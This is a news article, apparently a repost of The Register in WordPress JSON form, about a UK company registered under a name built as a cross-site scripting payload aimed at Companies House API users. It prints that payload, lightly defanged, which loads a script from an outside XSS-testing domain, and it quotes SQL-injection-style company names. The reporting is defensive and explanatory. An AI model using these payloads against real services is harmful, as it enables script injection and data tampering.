{"id":37965,"date":"2020-10-30T13:00:12","date_gmt":"2020-10-30T13:00:12","guid":{"rendered":"https:\/\/www.threatshub.org\/blog\/why-yes-you-can-register-an-xss-attack-as-a-uk-company-name-how-do-we-know-that-someone-actually-did-it\/"},"modified":"2020-10-30T13:00:12","modified_gmt":"2020-10-30T13:00:12","slug":"why-yes-you-can-register-an-xss-attack-as-a-uk-company-name-how-do-we-know-that-someone-actually-did-it","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/why-yes-you-can-register-an-xss-attack-as-a-uk-company-name-how-do-we-know-that-someone-actually-did-it\/","title":{"rendered":"Why, yes, you can register an XSS attack as a UK company name. How do we know that? Someone actually did it"},"content":{"rendered":"<div><img decoding=\"async\" src=\"https:\/\/regmedia.co.uk\/2017\/10\/10\/laugh_shutterstock.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>Companies House has blocked someone who registered a new biz with a name that contained the right characters arranged in the right order to trigger a cross-site scripting (XSS) attack against users of the service&#8217;s API.<\/p>\n<p>The company in question, registered number 12956509, was originally signed up with the UK&#8217;s official company registrar under the name:<\/p>\n<pre class=\"wrap_text\"> \"&gt;&lt; SCRIPT SRC[=]HTTPS[:]\/\/MJT.XSS.HT&gt; LTD\n<\/pre>\n<p>Its name didn&#8217;t contain the square brackets, meaning anyone reading company names off the <a target=\"_blank\" href=\"https:\/\/developer.company-information.service.gov.uk\/api\/docs\/index.html\" rel=\"noopener noreferrer\">Companies House API<\/a> would potentially run a script from the web address above.<\/p>\n<p>A person using the username michaeltandy on the Companies House developer forum later <a target=\"_blank\" rel=\"nofollow noopener noreferrer\" href=\"https:\/\/forum.aws.chdev.org\/t\/broken-company-name\/3350\">posted<\/a>: &#8220;I had assumed I wouldn&#8217;t be the first person to use &lt; and &gt; (they are, after all, both explicitly whitelisted as legal characters) and that 99 per cent of systems would already be escaping them&#8230; I would just get a company with a playful name that would elicit a knowing chuckle from the kind of people we&#8217;d be doing business with!&#8221;<\/p>\n<p>The poster continued: &#8220;Once it turned out there were non-trivial problems, and that fact became more widely publicised, we can&#8217;t expect every consumer of data to do a full XSS audit in only a few days.&#8221;<\/p>\n<p>Although whoever registered the company seems to have had non-hostile intentions \u2013 xss.ht is a domain owned by the XSS Hunter service, as explained on its main <a target=\"_blank\" rel=\"nofollow noopener noreferrer\" href=\"https:\/\/xsshunter.com\/features\">website<\/a> \u2013 the vulnerability it exposes is not unique.<\/p>\n<p>Such tomfoolery has been carried out in the past, aided by a <a target=\"_blank\" href=\"https:\/\/www.legislation.gov.uk\/uksi\/2015\/17\/schedule\/1\/made\" rel=\"noopener noreferrer\">legal requirement<\/a> that certain punctuation marks are available for companies to use in their names. Thus was born &#8220;<a target=\"_blank\" href=\"https:\/\/find-and-update.company-information.service.gov.uk\/company\/10542519\" rel=\"noopener noreferrer\">; DROP TABLE &#8220;COMPANIES&#8221;;&#8211; LTD<\/a>&#8221; and &#8220;<a target=\"_blank\" href=\"https:\/\/find-and-update.company-information.service.gov.uk\/company\/08804157\" rel=\"noopener noreferrer\">SAFDASD &amp; SFSAF \\&#8217; SFDAASF\\&#8221; LTD<\/a>&#8220;, both of which were exploiting the availability of punctuation marks to put commands into the company name field.<\/p>\n<p>Tech lawyer Neil Brown of decoded.legal told <i>The Register<\/i>: &#8220;This is symbolic \u2013 if one might excuse the pun \u2013 of a regime which considers individual characters in isolation, and not the effect of the combination of those characters.&#8221; He explained that while <a target=\"_blank\" href=\"https:\/\/www.legislation.gov.uk\/ukpga\/2006\/46\/part\/5\/chapter\/1\" rel=\"noopener noreferrer\">section 53 of the Companies Act 2000<\/a> does stop people from registering companies with &#8220;offensive&#8221; names or names that were a criminal offence to publish, it&#8217;s not clear whether that is enough to stop people registering database commands as company names.<\/p>\n<p>&#8220;Would using an XSS attack constitute an offence? Even with the state of the Computer Misuse Act 1990, that would be a stretch too far. Is it offensive? I don&#8217;t think so, but then I&#8217;m not the Secretary of State,&#8221; opined Brown, who also pointed out <a target=\"_blank\" href=\"https:\/\/find-and-update.company-information.service.gov.uk\/search?q=12972728\" rel=\"noopener noreferrer\">yet another crappy company name<\/a>.<\/p>\n<p>As for lessons to be drawn from this, Brown wondered if simply advising people to sanitise inputs from official systems was &#8220;too dull&#8221; for <i>El Reg<\/i>. We happen to agree but it&#8217;s also the sort of common-sense advice someone, somewhere, might actually benefit from. The BBC Bitesize guide to input sanitisation (don&#8217;t laugh, we all started somewhere) can be found <a target=\"_blank\" href=\"https:\/\/www.bbc.co.uk\/bitesize\/guides\/z4cg4qt\/revision\/3\" rel=\"noopener noreferrer\">here<\/a>.<\/p>\n<p>A Companies House spokesman told <i>The Register<\/i>: &#8220;A company was registered using characters that could have presented a security risk to a limited number of our customers, if published on unprotected external websites. We have taken immediate steps to mitigate this risk.&#8221;<\/p>\n<p>He added: &#8220;We are confident that Companies House services remain secure.&#8221;<\/p>\n<p>And indeed Companies House is secure: company number 12956509 is <a target=\"_blank\" href=\"https:\/\/find-and-update.company-information.service.gov.uk\/company\/12956509\" rel=\"noopener noreferrer\">now called<\/a> &#8220;THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD&#8221;. \u00ae<\/p>\n<h3 class=\"crosshead\"> <span>Bootnotes<\/span><br \/>\n<\/h3>\n<p>Drop Table Companies Ltd (add the necessary script marks at your leisure) was a practical joke by tech bod Sam Pizzey, who blogged about it <a target=\"_blank\" rel=\"nofollow noopener noreferrer\" href=\"https:\/\/pizzey.me\/blog\/no-i-didnt-try-to-break-companies-house\/\">at the time<\/a>. He wrote: &#8220;The company name is a bit of hacker sleight-of-hand&#8230; or as some astute people have put it, it&#8217;s &#8216;wrong&#8217;. Of course it&#8217;s wrong \u2013 I&#8217;m not a <i>total<\/i> arsehole!&#8221;<\/p>\n<p>Multiple people also <a target=\"_blank\" href=\"https:\/\/find-and-update.company-information.service.gov.uk\/company\/10028016\" rel=\"noopener noreferrer\">registered Openreach Ltd<\/a> over the years until BT woke up and registered the company name itself.<\/p>\n<p> READ MORE <a href=\"https:\/\/go.theregister.com\/feed\/www.theregister.com\/2020\/10\/30\/companies_house_xss_silliness\/\">HERE<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>And the &#8216;acceptable company name&#8217; charset is hardcoded&#8230; in legislation Companies House has blocked someone who registered a new biz with a name that contained the right characters arranged in the right order to trigger a cross-site scripting (XSS) attack against users of the service&#8217;s API.\u2026 READ MORE HERE&#8230;<\/p>\n","protected":false},"author":2,"featured_media":37966,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"colormag_page_layout":"default_layout","footnotes":""},"categories":[63],"tags":[],"class_list":["post-37965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-the-register"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Why, yes, you can register an XSS attack as a UK company name. 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